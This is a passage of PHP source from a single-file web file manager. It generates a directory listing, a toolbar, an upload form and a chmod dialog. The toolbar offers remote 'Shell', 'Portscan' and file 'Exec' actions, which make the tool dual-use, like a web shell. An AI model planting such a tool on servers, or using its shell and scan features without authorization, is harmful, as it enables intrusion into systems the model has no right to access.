Hardlinks ?\\n'+conf; } } else if (arg == 9){ if (!is_anything_selected()) erro = '".et('NoSel')."...'; else if(document.form_action.chmod_arg.value.length == 0) erro = '".et('NoNewPerm').".'; //conf = '".et('AlterPermTo')." \\''+document.form_action.chmod_arg.value+'\\' ?\\n'; } else if (arg == 73){ if (!is_anything_selected()) erro = '".et('NoSel')."...'; else document.form_action.target='frame1'; } if (erro!=''){ set_dir_list_warn(erro); } else if(conf!='') { if(confirm(conf)) { document.form_action.action.value = arg; document.form_action.submit(); } else { set_dir_list_warn(false); } } else { document.form_action.action.value = arg; document.form_action.submit(); } } //--> </script>"; $out .= " <table class=\"table\"> <tr style=\"border-bottom: 2px solid #eaeaea;\"> <td bgcolor=\"#DDDDDD\" colspan=50><nobr> <form action=\"".$fm_path_info['basename']."\" method=\"post\" onsubmit=\"return test_action();\"> <div class=\"float-left\"> <button type=\"button\" class=\"btn\" onclick=\"config_form()\"><i class=\"fa fa-settings\"></i> " . et('Config') . "</button> <button type=\"button\" class=\"btn\" onclick=\"server_info_form()\" value=\"" . et('ServerInfo') . "\"><i class=\"fa fa-lunix\"></i> " . et('ServerInfo') . "</button> <button type=\"button\" class=\"btn\" onclick=\"test_prompt(1)\" value=\"" . et('CreateDir') . "\"> <i class=\"fa fa-folder\"></i> ".et('CreateDir')."</button> <button type=\"button\" class=\"btn\" onclick=\"test_prompt(2)\" value=\"" . et('CreateArq') . "\"> <i class=\"fa fa-add-file\"></i> ".et('CreateArq')."</button> <button type=\"button\" class=\"btn\" onclick=\"upload_form()\" value=\"" . et('Upload') . "\"><i class=\"fa fa-upload\"></i> " . et('Upload') . "</button> <button type=\"button\" class=\"btn\" onclick=\"shell_form()\" value=\"" . et('Shell') . "\"><i class=\"fa fa-file-go\"></i> " . et('Shell') . "</button> <button type=\"button\" class=\"btn\" onclick=\"portscan_form()\" value=\"" . et('Portscan') . "\"><i class=\"fa fa-find\"></i> " . et('Portscan') . "</button> <button type=\"button\" class=\"btn\" onclick=\"resolve_ids()\" value=\"" . et('ResolveIDs') . "\"><i class=\"fa fa-resolve\"></i> " . et('ResolveIDs') . "</button> <button type=\"button\" class=\"btn\" onclick=\"about_form()\" value=\"".et('About')."\"><i class=\"fa fa-glob\"></i> ".et('About')."</button> </div> </form> </nobr> </td> </tr>"; $out .= " <form name=\"form_action\" action=\"".$fm_path_info['basename']."\" method=\"post\" onsubmit=\"return test_action();\"> <input type=hidden name=\"frame\" value=3> <input type=hidden name=\"action\" value=0> <input type=hidden name=\"dir_dest\" value=\"\"> <input type=hidden name=\"chmod_arg\" value=\"\"> <input type=hidden name=\"cmd_arg\" value=\"\"> <input type=hidden name=\"fm_current_dir\" value=\"$fm_current_dir\"> <input type=hidden name=\"dir_before\" value=\"$dir_before\"> <input type=hidden name=\"selected_dir_list\" value=\"\"> <input type=hidden name=\"selected_file_list\" value=\"\">"; function get_breadcrumbs($path){ $entry_list = explode(DIRECTORY_SEPARATOR, rtrim($path,DIRECTORY_SEPARATOR)); $uplink = ''; if (count($entry_list) == 1){ $breadcrumbs = '<a href="'.$fm_path_info['basename'].'?frame=3&fm_current_dir='.rawurlencode($path).'">'.$path.'</a>';; } else { $breadcrumbs = array(); for($x=0;$x<count($entry_list);$x++){ $entry_path = strstr(rtrim($path,DIRECTORY_SEPARATOR), $entry_list[$x], true).$entry_list[$x].DIRECTORY_SEPARATOR; $breadcrumbs[] = '<a href="'.$fm_path_info['basename'].'?frame=3&fm_current_dir='.rawurlencode($entry_path).'">'.$entry_list[$x].'</a>'; if ($x<count($entry_list)-1) $uplink .= $entry_list[$x].DIRECTORY_SEPARATOR; } $breadcrumbs = implode('<i class="bdc-link">'.DIRECTORY_SEPARATOR.'</i>',$breadcrumbs); } if (strlen($uplink)) $uplink = "<a href=\"".$fm_path_info['basename']."?frame=3&fm_current_dir=".rawurlencode($uplink)."\">🡹</a> "; return $uplink.$breadcrumbs; } function get_link_breadcrumbs($path){ $out = ''; if (is_link(rtrim($path,DIRECTORY_SEPARATOR))){ $target = readlink(rtrim($path,DIRECTORY_SEPARATOR)); $target_absolute_path = readlink_absolute_path(rtrim($path,DIRECTORY_SEPARATOR)); if (is_dir($target_absolute_path)){ $breadcrumbs = array(); foreach (explode(DIRECTORY_SEPARATOR, $target_absolute_path) as $r) { $breadcrumbs[] = '<a href="'.$fm_path_info['basename'].'?frame=3&fm_current_dir='.strstr($target_absolute_path, $r, true).$r.DIRECTORY_SEPARATOR.'">'.$r.'</a>'; } if (count($breadcrumbs)){ $out .= ' <b>(L)</b> 🡺 '.implode('<i class="bdc-link">'.DIRECTORY_SEPARATOR.'</i>',$breadcrumbs); } if (is_link($target_absolute_path)){ $out .= get_link_breadcrumbs($target_absolute_path); } } } return $out; } $out .= " <tr bgcolor=\"#DDDDDD\" style=\"border-bottom: 2px solid #eaeaea;\"><td style=\"padding:8px;\" colspan=50><nobr>";; $out .= get_breadcrumbs($fm_current_dir); $out .= get_link_breadcrumbs($fm_current_dir); $out .= "</nobr></td></tr>"; if (!$io_error) { if($entry_count){ $out .= " <tr style=\"border-bottom: 2px solid #d4d2d2;\"> <td bgcolor=\"#DDDDDD\" colspan=50><nobr> <button type=\"button\" class=\"btn\" onclick=\"selectANI(this)\" id=\"ANI0\" value=\"".et('SelAll')."\"><i class=\"fa fa-copy-o\"></i> " . et('SelAll') . "</button> <button type=\"button\" class=\"btn\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\"><i class=\"fa fa-file-light\"></i> " . et('SelInverse') . "</button> <button type=\"button\" class=\"btn\" onclick=\"test(4)\"><i class=\"fa fa-file-remove\"></i> " . et('Rem') . "</button> <button type=\"button\" class=\"btn\" onclick=\"sel_dir(5)\"><i class=\"fa fa-copy\"></i> " . et('Copy') . "</button> <button type=\"button\" class=\"btn\" onclick=\"sel_dir(6)\"><i class=\"fa fa-file-go\"></i> " . et('Move') . "</button> <button type=\"button\" class=\"btn\" onclick=\"test_prompt(71)\"><i class=\"fa fa-file-archive-o\"></i> " . et('Compress') . "</button> <button type=\"button\" class=\"btn\" onclick=\"test(73)\"><i class=\"fa fa-download\"></i> ZIP " . et('Download') . "</button> <button type=\"button\" class=\"btn\" onclick=\"sel_dir(121)\" value=\"" . et('Symlink') . "\"> <i class=\"fa fa-link\"></i> ".et('Symlink')."</button> <button type=\"button\" class=\"btn\" onclick=\"sel_dir(122)\" value=\"" . et('HardLink') . "\"> <i class=\"fa fa-link\"></i> ".et('HardLink')."</button> <button type=\"button\" class=\"btn\" onclick=\"chmod_form()\" value=\"" . et('Perms') . "\"><i class=\"fa fa-perms\"></i> " . et('Perms') . "</button> </nobr></td> </tr> <tr> <td colspan=50 id=\"dir_list_warn\" class=\"alert alert-danger\" style=\"padding:8px;display:none;\"></td> </tr>"; $dir_count = 0; $dir_out = array(); $file_count = 0; $file_out = array(); $max_cells = 0; foreach ($entry_list as $ind=>$dir_entry) { $file = $dir_entry['name']; if ($dir_entry['type'] == "dir") { $dir_out[$dir_count] = array(); $dir_out[$dir_count][] = " <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\"> <td class=\"sm\"> <table class=\"entry_name_table\"> <tr> <td width=\"1\"><span class=\"fa fa-folder\"></span></td> <td class=\"entry_name\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"Javascript:go_dir_list('".addslashes($file)."')\">".utf8_convert($dir_entry['namet'])."</a></td> <td align=\"right\">".utf8_convert($dir_entry['linkt'])."</td> </tr> </table> </td>"; $dir_out[$dir_count][] = "<td class=\"sm\"><nobr>".$dir_entry['p']."</td>"; if (!$is_windows) { $dir_out[$dir_count][] = "<td class=\"sm\"><nobr>".$dir_entry['u']."</nobr></td>"; $dir_out[$dir_count][] = "<td class=\"sm\"><nobr>".$dir_entry['g']."</nobr></td>"; } $dir_out[$dir_count][] = "<td class=\"sm\"><nobr>".$dir_entry['sizet']."</nobr></td>"; $dir_out[$dir_count][] = "<td class=\"sm\"><nobr>".$dir_entry['datet']."</nobr></td>"; if ($has_files) $dir_out[$dir_count][] = "<td class=\"sm\"><nobr>Folder</td>"; // Directory Actions if ( is_writable($fm_current_dir.$file) ) $dir_out[$dir_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:delete_entry('".addslashes($file)."')\">".et('Rem')."</a></td>"; else $dir_out[$dir_count][] = "<td class=\"sm\"> </td>"; if ( is_writable($fm_current_dir.$file) ) $dir_out[$dir_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"Javascript:rename_entry('".addslashes($file)."')\">".et('Ren')."</a></td>"; else $dir_out[$dir_count][] = "<td class=\"sm\"> </td>"; if ( count($dir_out[$dir_count]) > $max_cells ){ $max_cells = count($dir_out[$dir_count]); } $dir_count++; } elseif ($dir_entry['type'] == "file") { $file_out[$file_count] = array(); $file_out[$file_count][] = " <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\"> <td class=\"sm\"> <table class=\"entry_name_table\"> <tr> <td width=\"1\"><span class=\"".get_file_icon_class($fm_path_info['basename'].$file)."\"></span></td> <td class=\"entry_name\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"Javascript:download_entry('".addslashes($file)."')\">".utf8_convert($dir_entry['namet'])."</a></td> <td align=\"right\">".utf8_convert($dir_entry['linkt'])."</td> </tr> </table> </td>"; $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['p']."</td>"; if (!$is_windows) { $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['u']."</nobr></td>"; $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['g']."</nobr></td>"; } $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['sizet']."</nobr></td>"; $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['datet']."</nobr></td>"; $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['extt']."</td>"; // File Actions if ( is_writable($fm_current_dir.$file) ) $file_out[$file_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:delete_entry('".addslashes($file)."')\">".et('Rem')."</a></td>"; else $file_out[$file_count][] = "<td class=\"sm\"> </td>"; if ( is_writable($fm_current_dir.$file) ) $file_out[$file_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:rename_entry('".addslashes($file)."')\">".et('Ren')."</a></td>"; else $file_out[$file_count][] = "<td class=\"sm\"> </td>"; if ( is_readable($fm_current_dir.$file) ) $file_out[$file_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:edit_file_form('".addslashes($file)."')\">".et('Edit')."</a></td>"; else $file_out[$file_count][] = "<td class=\"sm\"> </td>"; if ( is_readable($fm_current_dir.$file) ) $file_out[$file_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:view_form('".addslashes($file)."');\">".et('View')."</a></td>"; else $file_out[$file_count][] = "<td class=\"sm\"> </td>"; if ( is_readable($fm_current_dir.$file) && strlen($dir_entry['ext']) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry['ext']."#" ) !== false) ) $file_out[$file_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:decompress_entry('".addslashes($file)."')\">".et('Decompress')."</a></td>"; else $file_out[$file_count][] = "<td class=\"sm\"> </td>"; if ( is_executable($fm_current_dir.$file) || (strlen($dir_entry['ext']) && (strpos(".exe#.com#.bat#.sh#.py#.pl", $dir_entry['ext']."#" ) !== false)) ) $file_out[$file_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:execute_entry('".addslashes($file)."')\">".et('Exec')."</a></td>"; else $file_out[$file_count][] = "<td class=\"sm\"> </td>"; //$file_out[$file_count][] = "<td class=\"sm\">".(is_readable_phpfm($fm_current_dir.$file)?'<font color=green>R</font>':'<font color=red>R</font>').(is_writable_phpfm($fm_current_dir.$file)?'<font color=green>W</font>':'<font color=red>W</font>').(is_executable_phpfm($fm_current_dir.$file)?'<font color=green>X</font>':'<font color=red>X</font>')."</td>"; if (count($file_out[$file_count])>$max_cells){ $max_cells = count($file_out[$file_count]); } $file_count++; } elseif ($dir_entry['type'] == "broken_link") { $file_out[$file_count] = array(); $file_out[$file_count][] = " <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\"> <td class=\"sm\"> <table class=\"entry_name_table\"> <tr> <td width=\"1\"><span class=\"".get_file_icon_class($fm_path_info['basename'].$file)."\"></span></td> <td class=\"entry_name\"><font color=\"red\"><b>".utf8_convert($dir_entry['namet'])."</b></font></td> <td align=\"right\"><font color=\"red\"><b>".utf8_convert($dir_entry['linkt'])."</b></font></td> </tr> </table> </td>"; $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['p']."</td>"; if (!$is_windows) { $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['u']."</nobr></td>"; $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['g']."</nobr></td>"; } $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['sizet']."</nobr></td>"; $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['datet']."</nobr></td>"; $file_out[$file_count][] = "<td class=\"sm\"><nobr>".$dir_entry['extt']."</td>"; // File Actions $file_out[$file_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:delete_entry('".addslashes($file)."')\">".et('Rem')."</a></td>"; $file_out[$file_count][] = " <td align=center class=\"sm\"><a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:rename_entry('".addslashes($file)."')\">".et('Ren')."</a></td>"; if (count($file_out[$file_count])>$max_cells){ $max_cells = count($file_out[$file_count]); } $file_count++; } } $out .= " <tr> <th><nobr><a href=\"".$fm_path_info['basename']."?frame=3&or_by=$or1&fm_current_dir=".rawurldecode($fm_current_dir)."\">".et('Name')."</a></nobr></th> <th><nobr><a href=\"".$fm_path_info['basename']."?frame=3&or_by=$or2&fm_current_dir=".rawurldecode($fm_current_dir)."\">".et('Perm')."</a></nobr></th>"; if (!$is_windows) $out .= " <th><nobr><a href=\"".$fm_path_info['basename']."?frame=3&or_by=$or3&fm_current_dir=".rawurldecode($fm_current_dir)."\">".et('Owner')."</a></th> <th><nobr><a href=\"".$fm_path_info['basename']."?frame=3&or_by=$or4&fm_current_dir=".rawurldecode($fm_current_dir)."\">".et('Group')."</a></nobr></th>"; $out .= " <th><nobr><a href=\"".$fm_path_info['basename']."?frame=3&or_by=$or5&fm_current_dir=".rawurldecode($fm_current_dir)."\">".et('Size')."</a></nobr></th> <th><nobr><a href=\"".$fm_path_info['basename']."?frame=3&or_by=$or6&fm_current_dir=".rawurldecode($fm_current_dir)."\">".et('Date')."</a></nobr></th>"; if ($file_count) $out .= " <th><nobr><a href=\"".$fm_path_info['basename']."?frame=3&or_by=$or7&fm_current_dir=".rawurldecode($fm_current_dir)."\">".et('Type')."</a></nobr></th>"; $out .= " <th colspan=50> </nobr></th> </tr>"; $max_cells++; foreach($dir_out as $k=>$v){ while (count($dir_out[$k])<$max_cells) { $dir_out[$k][] = "<td> </td>"; } } foreach($file_out as $k=>$v){ while (count($file_out[$k])<$max_cells) { $file_out[$k][] = "<td> </td>"; } } $all_out = array_merge($dir_out,$file_out); foreach($all_out as $k=>$v){ $out .= implode('',$all_out[$k]); $out .= "</tr>"; } $out .= " <tr> <td bgcolor=\"#DDDDDD\" colspan=50><nobr> <button type=\"button\" class=\"btn\" onclick=\"selectANI(this)\" id=\"ANI1\" value=\"".et('SelAll')."\"><i class=\"fa fa-copy-o\"></i> " . et('SelAll') . "</button> <button type=\"button\" class=\"btn\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\"><i class=\"fa fa-file-light\"></i> " . et('SelInverse') . "</button> <button type=\"button\" class=\"btn\" onclick=\"test(4)\"><i class=\"fa fa-file-remove\"></i> " . et('Rem') . "</button> <button type=\"button\" class=\"btn\" onclick=\"sel_dir(5)\"><i class=\"fa fa-copy\"></i> " . et('Copy') . "</button> <button type=\"button\" class=\"btn\" onclick=\"sel_dir(6)\"><i class=\"fa fa-file-go\"></i> " . et('Move') . "</button> <button type=\"button\" class=\"btn\" onclick=\"test_prompt(71)\"><i class=\"fa fa-file-archive-o\"></i> " . et('Compress') . "</button> <button type=\"button\" class=\"btn\" onclick=\"test(73)\"><i class=\"fa fa-download\"></i> ZIP " . et('Download') . "</button> <button type=\"button\" class=\"btn\" onclick=\"test_prompt(121)\" value=\"" . et('Symlink') . "\"> <i class=\"fa fa-link\"></i> ".et('Symlink')."</button> <button type=\"button\" class=\"btn\" onclick=\"test_prompt(122)\" value=\"" . et('HardLink') . "\"> <i class=\"fa fa-link\"></i> ".et('HardLink')."</button> <button type=\"button\" class=\"btn\" onclick=\"chmod_form()\" value=\"" . et('Perms') . "\"><i class=\"fa fa-perms\"></i> " . et('Perms') . "</button> </nobr></td> </tr>"; $out .= " </form>"; } else { $out .= " <tr><td colspan=50 style=\"padding:8px;\">".et('EmptyDir').".</tr>"; } } else { $out .= " <tr><td colspan=50 style=\"padding:8px;\"><font color=red>".et('IOError').".<br>".rtrim($fm_current_dir,DIRECTORY_SEPARATOR)."</font></tr>"; } $out .= " <tr style=\"border-top: 2px solid #eaeaea;\"> <td bgcolor=\"#DDDDDD\" colspan=50 class=\"fm-disk-info\"> <div style=\"float:left;\"> <div id=\"total_size_status\" display=\"none\"></div> <div id=\"selection_total_size_status\" display=\"none\"></div>"; if ($quota_mb) { $out .= " <span>".et('Partition')." = ".format_size(($quota_mb*1024*1024))." - ".format_size(($quota_mb*1024*1024)-intval(phpfm_get_total_size($fm_current_root)))." ".et('Free')."</span>"; } else { $out .= " <span>".et('Partition')." = ".format_size(disk_total_space($fm_current_dir))." / ".format_size(disk_free_space($fm_current_dir))." ".et('Free')."</span>"; } /* $out .= " <br /><span>".et('RenderTime').": ".number_format((getmicrotime()-$script_init_time), 3, '.', '')." ".et('Seconds')."</span>"; */ $out .= " </div> <div style=\"float:right\"> <span>".date_default_timezone_get()."</span><br /> <span>".date($date_format)."</span> </div> </td></tr> </table>"; $out .= " <script language=\"Javascript\" type=\"text/javascript\"> <!-- update_footer_status(); set_dir_list_warn('".addslashes($GLOBALS['dir_list_warn_message'])."'); //--> </script>"; echo $out; } function upload_form(){ global $_FILES,$fm_current_dir,$dir_dest,$quota_mb,$fm_path_info; html_header(); echo "<body marginwidth=\"0\" marginheight=\"0\">"; if (count($_FILES)==0){ echo " <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 style=\"padding:5px;\"> <form name=\"upload_form\" action=\"".$fm_path_info['basename']."\" method=\"post\" ENCTYPE=\"multipart/form-data\"> <input type=hidden name=dir_dest value=\"".$fm_current_dir."\"> <input type=hidden name=action value=10> <tr><td colspan=2 align=left><nobr><b>".et('Destination').": ".$fm_current_dir."</b></nobr></td></tr> <tr><td width=1 align=right><b>".et('File_s').":<td><nobr><input type=\"file\" id=\"upfiles\" name=\"upfiles[]\" multiple onchange=\"upfiles_update(this);\"></nobr></td></tr> <tr><td colspan=2 align=left><div id=\"upfileslist\"></div></td></tr> <tr><td colspan=2 align=left id=\"upload_warn\"><button type=\"button\" class=\"btn\" onclick=\"upfiles_send()\" value=\"".et('Send')."\"><i class=\"fa fa-upload\"></i> ".et('Send')."</button></td></tr> </form> </table> <script language=\"Javascript\" type=\"text/javascript\"> <!-- var busy = false; var selected_files = []; function upfiles_update(fileinput){ selected_files = document.getElementById(\"upfiles\").files; var text = ''; if (selected_files.length > 0) { for (var i = 0; i < selected_files.length; i++) { text += '<nobr>' + (i+1) + ' - ' + selected_files[i].name + '</nobr><br>'; } } var el = document.getElementById('upfileslist'); if (el) { el.innerHTML = text; } } function upfiles_send(){ if(selected_files.length > 0){ if (!busy) { busy = true; var el = document.getElementById('upload_warn'); if (el) { el.innerHTML = '<div class=\"icon_loading\"></div>'; } document.upload_form.submit(); } } else { alert('".et('NoFileSel').".'); } } //--> </script>"; } else { $out = "<tr><td colspan=2 align=left><nobr><b>".et('Destination').": ".$fm_current_dir."</b></nobr></td></tr>"; $files = array(); if (is_array($_FILES['upfiles'])){ // Check and re-arrange multi-upload array() if (is_array($_FILES['upfiles']['name'])){ for($i=0;$i<count($_FILES['upfiles']['name']);$i++){ if ($_FILES['upfiles']['error'][$i] === 0) $files[] = array( 'name' => $_FILES['upfiles']['name'][$i], 'tmp_name' => $_FILES['upfiles']['tmp_name'][$i], 'size' => $_FILES['upfiles']['size'][$i], 'type' => $_FILES['upfiles']['type'][$i], 'error' => $_FILES['upfiles']['error'][$i] ); } } else { foreach ($_FILES['upfiles'] as $file){ if ($file['error'] === 0) $files[] = $file; } } } $i=1; foreach ($files as $file) { $filename = $file['name']; $temp_file = $file['tmp_name']; if (strlen($filename)) { $resul = save_upload($temp_file,$filename,$dir_dest); switch($resul){ case 1: $out .= "<tr><td align=right width=10><nobr>".$i." - <font color=green>".et('FileSent')."</font>:</td><td>".$filename."</td></tr>\n"; break; case 2: $out .= "<tr><td align=right width=10><nobr>".$i." - <font color=red>".et('IOError')."</font>:</td><td>".$filename."</td></tr>\n"; break; case 3: $out .= "<tr><td align=right width=10><nobr>".$i." - <font color=red>".et('SpaceLimReached')." ($quota_mb Mb)</font>:</td><td>".$filename."</td></tr>\n"; break; case 4: $out .= "<tr><td align=right width=10><nobr>".$i." - <font color=red>".et('InvExt')."</font>:</td><td>".$filename."</td></tr>\n"; break; case 5: $out .= "<tr><td align=right width=10><nobr>".$i." - <font color=red>".et('FileNoOverw')."</font>:</td><td>".$filename."</td></tr>\n"; break; case 6: $out .= "<tr><td align=right width=10><nobr>".$i." - <font color=green>".et('FileOverw')."</font>:</td><td>".$filename."</td></tr>\n"; break; default: $out .= "<tr><td align=right width=10><nobr>".$i." - <font color=green>".et('FileIgnored')."</font>:</td><td>".$filename."</td></tr>\n"; } $i++; } } $out .= "<tr><td colspan=2 align=left><nobr><b>".et('UploadEnd')."</b></nobr></td></tr>"; echo "<table height=\"100%\" border=0 cellspacing=0 cellpadding=2 style=\"padding:5px;\">".$out."</table>"; } echo "</body>\n</html>"; } function chmod_form(){ global $chmod_arg; if (!intval($chmod_arg)) $chmod_arg = '0755'; html_header(" <script language=\"Javascript\" type=\"text/javascript\"> <!-- function octalchange() { var val = document.chmod_form.t_total.value; var stickybin = parseInt(val.charAt(0)).toString(2); var ownerbin = parseInt(val.charAt(1)).toString(2); while (ownerbin.length<3) { ownerbin=\"0\"+ownerbin; }; var groupbin = parseInt(val.charAt(2)).toString(2); while (groupbin.length<3) { groupbin=\"0\"+groupbin; }; var otherbin = parseInt(val.charAt(3)).toString(2); while (otherbin.length<3) { otherbin=\"0\"+otherbin; }; document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0)); document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0)); document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1)); document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2)); document.chmod_form.group4.checked = parseInt(groupbin.charAt(0)); document.chmod_form.group2.checked = parseInt(groupbin.charAt(1)); document.chmod_form.group1.checked = parseInt(groupbin.charAt(2)); document.chmod_form.other4.checked = parseInt(otherbin.charAt(0)); document.chmod_form.other2.checked = parseInt(otherbin.charAt(1)); document.chmod_form.other1.checked = parseInt(otherbin.charAt(2)); calc_chmod(1); }; function calc_chmod(nototals) { var users = new Array(\"owner\", \"group\", \"other\"); var totals = new Array(\"\",\"\",\"\"); var syms = new Array(\"\",\"\",\"\"); for (var i=0; i<users.length; i++) { var user=users[i]; var field4 = user + \"4\"; var field2 = user + \"2\"; var field1 = user + \"1\"; var symbolic = \"sym_\" + user; var number = 0; var sym_string = \"\"; var sticky = \"0\"; var sticky_sym = \" \"; if (document.chmod_form.sticky.checked){ sticky = \"1\"; sticky_sym = \"t\"; } if (document.chmod_form[field4].checked == true) { number += 4; } if (document.chmod_form[field2].checked == true) { number += 2; } if (document.chmod_form[field1].checked == true) { number += 1; } if (document.chmod_form[field4].checked == true) { sym_string += \"r\"; } else { sym_string += \"-\"; } if (document.chmod_form[field2].checked == true) { sym_string += \"w\"; } else { sym_string += \"-\"; } if (document.chmod_form[field1].checked == true) { sym_string += \"x\"; } else { sym_string += \"-\"; } totals[i] = totals[i]+number; syms[i] = syms[i]+sym_string; } if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2]; document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym; } function sticky_change() { document.chmod_form.sticky.checked = !(document.chmod_form.sticky.checked); } function apply_chmod() { if (confirm('".et('AlterPermTo')." \\' '+document.chmod_form.t_total.value+' \\' ?\\n')){ window.parent.parent.frame3.set_chmod_arg(document.chmod_form.t_total.value); window.parent.parent.frame3.closeModalWindow(); } } window.onload=octalchange //--> </script>"); echo " <body marginwidth=\"0\" marginheight=\"0\" style=\"overflow: hidden;\"> <div style=\"-ms-transform:scale(1.5); transform: scale(1.5) translate(0, 50px);\"> <form name=\"chmod_form\"> <table border=\"0\" cellspacing=\"0\" cellpadding=\"4\" align=center style=\"padding:5px;\"> <tr align=\"left\" valign=\"middle\"> <td><input type=\"text\" name=\"t_total\" value=\"".html_encode($chmod_arg)."\" size=\"4\" onKeyUp=\"octalchange()\"> </td> <td><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" readonly></td> </tr> </table> <table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" align=center> <tr bgcolor=\"#333333\"> <td width=\"60\" align=\"left\"> </td> <td width=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Owner')."</b></td> <td width=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Group')."</b></td> <td width=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Other')."<b></td> </tr> <tr bgcolor=\"#DDDDDD\"> <td width=\"60\" align=\"left\" nowrap bgcolor=\"#FFFFFF\">".et('Read')."</td> <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\"><input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\"></td> <td width=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\"></td> <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\"><input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\"></td> </tr> <tr bgcolor=\"#DDDDDD\"> <td width=\"60\" align=\"left\" nowrap bgcolor=\"#FFFFFF\">".et('Write')."</td> <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\"><input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td> <td width=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\"></td> <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\"><input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\"></td> </tr> <tr bgcolor=\"#DDDDDD\"> <td width=\"60\" align=\"left\" nowrap bgcolor=\"#FFFFFF\">".et('Exec')."</td> <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\"><input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\"></td> <td width=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\"></td> <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\"><input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\"></td> </tr> </table> <table border=\"0\" cellspacing=\"0\" cellpadding=\"4\" align=center> <tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:sticky_change();\">".et('StickyBit')."</a><td colspan=2 align=right><input type=button value=\"".et('Apply')."\" onClick=\"apply_chmod()\"></tr> </table> </form> </div> </body> </html>"; } function get_mime_type($ext = ''){ $mimes = array( 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'doc' => 'application/msword', 'bin' => 'application/macbinary', 'dms' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'class' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'so' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'pptx' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php3' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 